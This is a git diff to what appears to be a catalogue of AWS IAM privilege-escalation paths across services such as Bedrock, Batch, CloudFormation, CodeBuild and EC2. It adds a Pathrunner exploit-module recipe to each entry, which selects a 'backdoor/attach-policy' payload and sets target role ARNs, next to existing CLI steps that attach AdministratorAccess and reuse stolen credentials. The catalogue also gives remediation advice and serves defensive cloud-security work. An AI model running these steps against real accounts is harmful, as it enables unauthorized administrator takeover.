diff --git a/data/paths/aws/apprunner/apprunner-001.yaml b/data/paths/aws/apprunner/apprunner-001.yaml index aabc4e8e..50f15b20 100644 --- a/data/paths/aws/apprunner/apprunner-001.yaml +++ b/data/paths/aws/apprunner/apprunner-001.yaml @@ -46,6 +46,25 @@ exploitationSteps: - step: 5 command: aws iam list-users --max-items 3 description: Verify administrator access by listing IAM users (should now succeed) + pathrunner: + - step: 1 + command: pathrunner use apprunner-001 + description: Load the apprunner-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/apprunner/apprunner-002.yaml b/data/paths/aws/apprunner/apprunner-002.yaml index 62bf42bf..bac8b0b6 100644 --- a/data/paths/aws/apprunner/apprunner-002.yaml +++ b/data/paths/aws/apprunner/apprunner-002.yaml @@ -46,6 +46,22 @@ exploitationSteps: - step: 7 command: aws iam list-users --max-items 3 description: Verify administrator access by listing IAM users (should now succeed) + pathrunner: + - step: 1 + command: pathrunner use apprunner-002 + description: Load the apprunner-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict the `apprunner:UpdateService` permission using resource-based constraints. diff --git a/data/paths/aws/batch/batch-001.yaml b/data/paths/aws/batch/batch-001.yaml index e2e250af..d957929e 100644 --- a/data/paths/aws/batch/batch-001.yaml +++ b/data/paths/aws/batch/batch-001.yaml @@ -79,6 +79,31 @@ exploitationSteps: aws iam list-attached-user-policies \ --user-name STARTING_USER description: Verify privilege escalation success by confirming AdministratorAccess is now attached to the starting user. + pathrunner: + - step: 1 + command: pathrunner use batch-001 + description: Load the batch-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ADMIN_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ADMIN_ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set JOB_QUEUE target-batch-job-queue + description: Set the JOB_QUEUE option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/batch/batch-002.yaml b/data/paths/aws/batch/batch-002.yaml index b5510282..046ebdb1 100644 --- a/data/paths/aws/batch/batch-002.yaml +++ b/data/paths/aws/batch/batch-002.yaml @@ -65,6 +65,28 @@ exploitationSteps: aws iam list-attached-user-policies \ --user-name STARTING_USER description: Verify that AdministratorAccess is now attached to the starting user. + pathrunner: + - step: 1 + command: pathrunner use batch-002 + description: Load the batch-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set JOB_DEFINITION target-job-definition:1 + description: Set the JOB_DEFINITION option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set JOB_QUEUE target-batch-job-queue + description: Set the JOB_QUEUE option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | - **Restrict `batch:SubmitJob`** - This is the core attack permission. Only trusted principals that have a legitimate need to trigger Batch workloads should have this permission. Even without `iam:PassRole`, job submission is a powerful action when privileged job definitions exist. diff --git a/data/paths/aws/batch/batch-003.yaml b/data/paths/aws/batch/batch-003.yaml index cfaba3f3..98598bfc 100644 --- a/data/paths/aws/batch/batch-003.yaml +++ b/data/paths/aws/batch/batch-003.yaml @@ -112,6 +112,34 @@ exploitationSteps: aws iam list-attached-user-policies \ --user-name STARTING_USER description: Verify that AdministratorAccess is now attached to the starting user. + pathrunner: + - step: 1 + command: pathrunner use batch-003 + description: Load the batch-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ADMIN_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ADMIN_ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set SUBNET_ID subnet-0123456789abcdef0 + description: Set the SUBNET_ID option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set SECURITY_GROUP_ID sg-0123456789abcdef0 + description: Set the SECURITY_GROUP_ID option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 9 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` combined with the ability to build an entire Batch pipeline from scratch is what makes this privilege escalation path exploitable and especially dangerous, since no pre-existing Batch infrastructure is required. diff --git a/data/paths/aws/bedrock/bedrock-001.yaml b/data/paths/aws/bedrock/bedrock-001.yaml index 88a4ffbf..3fdd645c 100644 --- a/data/paths/aws/bedrock/bedrock-001.yaml +++ b/data/paths/aws/bedrock/bedrock-001.yaml @@ -103,6 +103,25 @@ exploitationSteps: ' description: Use the stolen credentials to assume the privileged role's permissions + pathrunner: + - step: 1 + command: pathrunner use bedrock-001 + description: Load the bedrock-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/bedrock/bedrock-002.yaml b/data/paths/aws/bedrock/bedrock-002.yaml index 2957f18e..8099388a 100644 --- a/data/paths/aws/bedrock/bedrock-002.yaml +++ b/data/paths/aws/bedrock/bedrock-002.yaml @@ -69,6 +69,25 @@ exploitationSteps: ' description: Use the stolen credentials to assume the privileged role's permissions + pathrunner: + - step: 1 + command: pathrunner use bedrock-002 + description: Load the bedrock-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INTERPRETER_ID target-interpreter-id + description: Set the INTERPRETER_ID option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict the `bedrock-agentcore:StartCodeInterpreterSession` and `bedrock-agentcore:InvokeCodeInterpreter` permissions using resource-based constraints. diff --git a/data/paths/aws/bedrock/bedrock-003.yaml b/data/paths/aws/bedrock/bedrock-003.yaml index ea286f62..8cd796e1 100644 --- a/data/paths/aws/bedrock/bedrock-003.yaml +++ b/data/paths/aws/bedrock/bedrock-003.yaml @@ -109,6 +109,25 @@ exploitationSteps: ' description: Use the stolen credentials to act as the runtime execution role + pathrunner: + - step: 1 + command: pathrunner use bedrock-003 + description: Load the bedrock-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the runtime microVM, bypassing the agent, model and guardrails. diff --git a/data/paths/aws/bedrock/bedrock-004.yaml b/data/paths/aws/bedrock/bedrock-004.yaml index c1d89ae4..92b628b8 100644 --- a/data/paths/aws/bedrock/bedrock-004.yaml +++ b/data/paths/aws/bedrock/bedrock-004.yaml @@ -70,6 +70,25 @@ exploitationSteps: ' description: Use the stolen credentials to act as the resource execution role + pathrunner: + - step: 1 + command: pathrunner use bedrock-004 + description: Load the bedrock-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set TARGET_RUNTIME_ARN arn:aws:bedrock::123456789012:provisioned-model/target-model + description: Set the TARGET_RUNTIME_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM. diff --git a/data/paths/aws/bedrock/bedrock-005.yaml b/data/paths/aws/bedrock/bedrock-005.yaml index a8e7b56a..59a187ef 100644 --- a/data/paths/aws/bedrock/bedrock-005.yaml +++ b/data/paths/aws/bedrock/bedrock-005.yaml @@ -124,6 +124,25 @@ exploitationSteps: ' description: Use the stolen credentials to act as the harness execution role + pathrunner: + - step: 1 + command: pathrunner use bedrock-005 + description: Load the bedrock-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the harness microVM, bypassing the managed agent loop, model and guardrails. diff --git a/data/paths/aws/bedrock/bedrock-006.yaml b/data/paths/aws/bedrock/bedrock-006.yaml index 296e2a93..24a7bbe4 100644 --- a/data/paths/aws/bedrock/bedrock-006.yaml +++ b/data/paths/aws/bedrock/bedrock-006.yaml @@ -121,6 +121,16 @@ exploitationSteps: ' description: Use the stolen credentials to act as the browser execution role + pathrunner: + - step: 1 + command: pathrunner use bedrock-006 + description: Load the bedrock-006 exploit module in Pathrunner. + - step: 2 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/bedrock/bedrock-007.yaml b/data/paths/aws/bedrock/bedrock-007.yaml index 89a82c4b..245b3078 100644 --- a/data/paths/aws/bedrock/bedrock-007.yaml +++ b/data/paths/aws/bedrock/bedrock-007.yaml @@ -82,6 +82,16 @@ exploitationSteps: ' description: Use the stolen credentials to act as the browser execution role + pathrunner: + - step: 1 + command: pathrunner use bedrock-007 + description: Load the bedrock-007 exploit module in Pathrunner. + - step: 2 + command: pathrunner set BROWSER_ID target-browser-id + description: Set the BROWSER_ID option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict the `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` permissions using resource-level constraints. diff --git a/data/paths/aws/braket/braket-001.yaml b/data/paths/aws/braket/braket-001.yaml index 0f3f1448..99a69502 100644 --- a/data/paths/aws/braket/braket-001.yaml +++ b/data/paths/aws/braket/braket-001.yaml @@ -84,6 +84,25 @@ exploitationSteps: --query 'status' \ --output text description: Poll job status. Once the job reaches COMPLETED, the privilege escalation has succeeded and AdministratorAccess is attached to the starting user. + pathrunner: + - step: 1 + command: pathrunner use braket-001 + description: Load the braket-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/cloudformation/cloudformation-001.yaml b/data/paths/aws/cloudformation/cloudformation-001.yaml index f27f12c6..8e3f54b2 100644 --- a/data/paths/aws/cloudformation/cloudformation-001.yaml +++ b/data/paths/aws/cloudformation/cloudformation-001.yaml @@ -28,6 +28,25 @@ exploitationSteps: - step: 3 command: '# Access the newly created resources (e.g., IAM user, Lambda function)' description: Use the elevated privileges of the created resources + pathrunner: + - step: 1 + command: pathrunner use cloudformation-001 + description: Load the cloudformation-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/cloudformation/cloudformation-002.yaml b/data/paths/aws/cloudformation/cloudformation-002.yaml index 715cecbd..9020c71c 100644 --- a/data/paths/aws/cloudformation/cloudformation-002.yaml +++ b/data/paths/aws/cloudformation/cloudformation-002.yaml @@ -84,6 +84,25 @@ exploitationSteps: ' description: Verify administrator access + pathrunner: + - step: 1 + command: pathrunner use cloudformation-002 + description: Load the cloudformation-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set STACK_NAME target-cloudformation-stack + description: Set the STACK_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict the `cloudformation:UpdateStack` permission using the principle of least privilege. diff --git a/data/paths/aws/cloudformation/cloudformation-003.yaml b/data/paths/aws/cloudformation/cloudformation-003.yaml index 03faf725..4be66a75 100644 --- a/data/paths/aws/cloudformation/cloudformation-003.yaml +++ b/data/paths/aws/cloudformation/cloudformation-003.yaml @@ -103,6 +103,25 @@ exploitationSteps: --role-arn arn:aws:iam::ACCOUNT_ID:role/CREATED_ROLE \ --role-session-name escalation-session description: Leverage the newly created resources to escalate privileges, such as assuming a newly created IAM role with elevated permissions + pathrunner: + - step: 1 + command: pathrunner use cloudformation-003 + description: Load the cloudformation-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set EXECUTION_ROLE_NAME TargetExecutionRoleName + description: Set the EXECUTION_ROLE_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/cloudformation/cloudformation-004.yaml b/data/paths/aws/cloudformation/cloudformation-004.yaml index 2d8295cb..a7ed9a89 100644 --- a/data/paths/aws/cloudformation/cloudformation-004.yaml +++ b/data/paths/aws/cloudformation/cloudformation-004.yaml @@ -103,6 +103,25 @@ exploitationSteps: --role-arn arn:aws:iam::ACCOUNT_ID:role/CREATED_ROLE \ --role-session-name escalation-session description: Leverage the newly created resources to escalate privileges, such as assuming a newly created IAM role with elevated permissions + pathrunner: + - step: 1 + command: pathrunner use cloudformation-004 + description: Load the cloudformation-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set STACKSET_NAME target-stackset + description: Set the STACKSET_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/cloudformation/cloudformation-005.yaml b/data/paths/aws/cloudformation/cloudformation-005.yaml index 12a49664..27dfb266 100644 --- a/data/paths/aws/cloudformation/cloudformation-005.yaml +++ b/data/paths/aws/cloudformation/cloudformation-005.yaml @@ -110,6 +110,25 @@ exploitationSteps: --role-session-name escalation-session description: Assume the newly created escalated admin role and verify administrator access + pathrunner: + - step: 1 + command: pathrunner use cloudformation-005 + description: Load the cloudformation-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set STACK_NAME target-cloudformation-stack + description: Set the STACK_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Implement least privilege for CloudFormation permissions - avoid granting `cloudformation:CreateChangeSet` and `cloudformation:ExecuteChangeSet` together unless absolutely necessary. diff --git a/data/paths/aws/codebuild/codebuild-001.yaml b/data/paths/aws/codebuild/codebuild-001.yaml index 680fcef9..13f0c7e6 100644 --- a/data/paths/aws/codebuild/codebuild-001.yaml +++ b/data/paths/aws/codebuild/codebuild-001.yaml @@ -39,6 +39,25 @@ exploitationSteps: command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation) + pathrunner: + - step: 1 + command: pathrunner use codebuild-001 + description: Load the codebuild-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. diff --git a/data/paths/aws/codebuild/codebuild-002.yaml b/data/paths/aws/codebuild/codebuild-002.yaml index 0b7da770..e3702481 100644 --- a/data/paths/aws/codebuild/codebuild-002.yaml +++ b/data/paths/aws/codebuild/codebuild-002.yaml @@ -41,6 +41,25 @@ exploitationSteps: - step: 5 command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation) + pathrunner: + - step: 1 + command: pathrunner use codebuild-002 + description: Load the codebuild-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set PROJECT_NAME target-codebuild-project + description: Set the PROJECT_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the existing CodeBuild project''s service role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If the project only has limited permissions, you gain access limited to those permissions. However, even limited access may enable multi-hop privilege escalation attacks. ' diff --git a/data/paths/aws/codebuild/codebuild-003.yaml b/data/paths/aws/codebuild/codebuild-003.yaml index 88bd44df..398c5a7e 100644 --- a/data/paths/aws/codebuild/codebuild-003.yaml +++ b/data/paths/aws/codebuild/codebuild-003.yaml @@ -53,6 +53,25 @@ exploitationSteps: - step: 6 command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation) + pathrunner: + - step: 1 + command: pathrunner use codebuild-003 + description: Load the codebuild-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set PROJECT_NAME target-codebuild-project + description: Set the PROJECT_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the existing CodeBuild project''s service role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If the project only has limited permissions, you gain access limited to those permissions. However, even limited access may enable multi-hop privilege escalation attacks. ' diff --git a/data/paths/aws/codebuild/codebuild-004.yaml b/data/paths/aws/codebuild/codebuild-004.yaml index f67e3478..2f905c10 100644 --- a/data/paths/aws/codebuild/codebuild-004.yaml +++ b/data/paths/aws/codebuild/codebuild-004.yaml @@ -28,6 +28,25 @@ exploitationSteps: - step: 5 command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation) + pathrunner: + - step: 1 + command: pathrunner use codebuild-004 + description: Load the codebuild-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks. ' diff --git a/data/paths/aws/codedeploy/codedeploy-001.yaml b/data/paths/aws/codedeploy/codedeploy-001.yaml index b92b9bfb..6a160029 100644 --- a/data/paths/aws/codedeploy/codedeploy-001.yaml +++ b/data/paths/aws/codedeploy/codedeploy-001.yaml @@ -93,6 +93,22 @@ exploitationSteps: --query 'deploymentInfo.status' \ --output text description: Monitor deployment status. Once the BeforeInstall hook executes, AdministratorAccess is attached to the starting user. + pathrunner: + - step: 1 + command: pathrunner use codedeploy-001 + description: Load the codedeploy-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set APP_NAME target-app + description: Set the APP_NAME option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner set DEPLOYMENT_GROUP target-deployment-group + description: Set the DEPLOYMENT_GROUP option (replace the placeholder with your target's real value). + - step: 4 + command: pathrunner set BUCKET target-s3-bucket-123456789012 + description: Set the BUCKET option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | - **Restrict `codedeploy:CreateDeployment`** - This is a powerful permission when privileged EC2 instances exist. Only trusted CI/CD principals should be able to create deployments, and only to specific deployment groups. diff --git a/data/paths/aws/cognitoidentity/cognitoidentity-001.yaml b/data/paths/aws/cognitoidentity/cognitoidentity-001.yaml index d629a486..597490ef 100644 --- a/data/paths/aws/cognitoidentity/cognitoidentity-001.yaml +++ b/data/paths/aws/cognitoidentity/cognitoidentity-001.yaml @@ -82,6 +82,19 @@ exploitationSteps: --user-name STARTING_USER \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess description: Use the obtained temporary admin credentials to attach AdministratorAccess to the starting user. + pathrunner: + - step: 1 + command: pathrunner use cognitoidentity-001 + description: Load the cognitoidentity-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner set IDENTITY_POOL_ID us-east-1:12345678-1234-1234-1234-123456789012 + description: Set the IDENTITY_POOL_ID option (replace the placeholder with your target's real value). + - step: 4 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ec2/ec2-001.yaml b/data/paths/aws/ec2/ec2-001.yaml index 9df580c7..2943605a 100644 --- a/data/paths/aws/ec2/ec2-001.yaml +++ b/data/paths/aws/ec2/ec2-001.yaml @@ -31,6 +31,25 @@ exploitationSteps: exploit.sh description: Use Pacu to launch EC2 instance with the target role and execute a shell script on startup + pathrunner: + - step: 1 + command: pathrunner use ec2-001 + description: Load the ec2-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile + description: Set the INSTANCE_PROFILE option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ec2/ec2-002.yaml b/data/paths/aws/ec2/ec2-002.yaml index e1d934da..183316e7 100644 --- a/data/paths/aws/ec2/ec2-002.yaml +++ b/data/paths/aws/ec2/ec2-002.yaml @@ -49,6 +49,25 @@ exploitationSteps: - step: 4 command: aws ec2 start-instances --instance-ids $INSTANCE_ID description: Start the instance to trigger execution of the malicious user data + pathrunner: + - step: 1 + command: pathrunner use ec2-002 + description: Load the ec2-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD 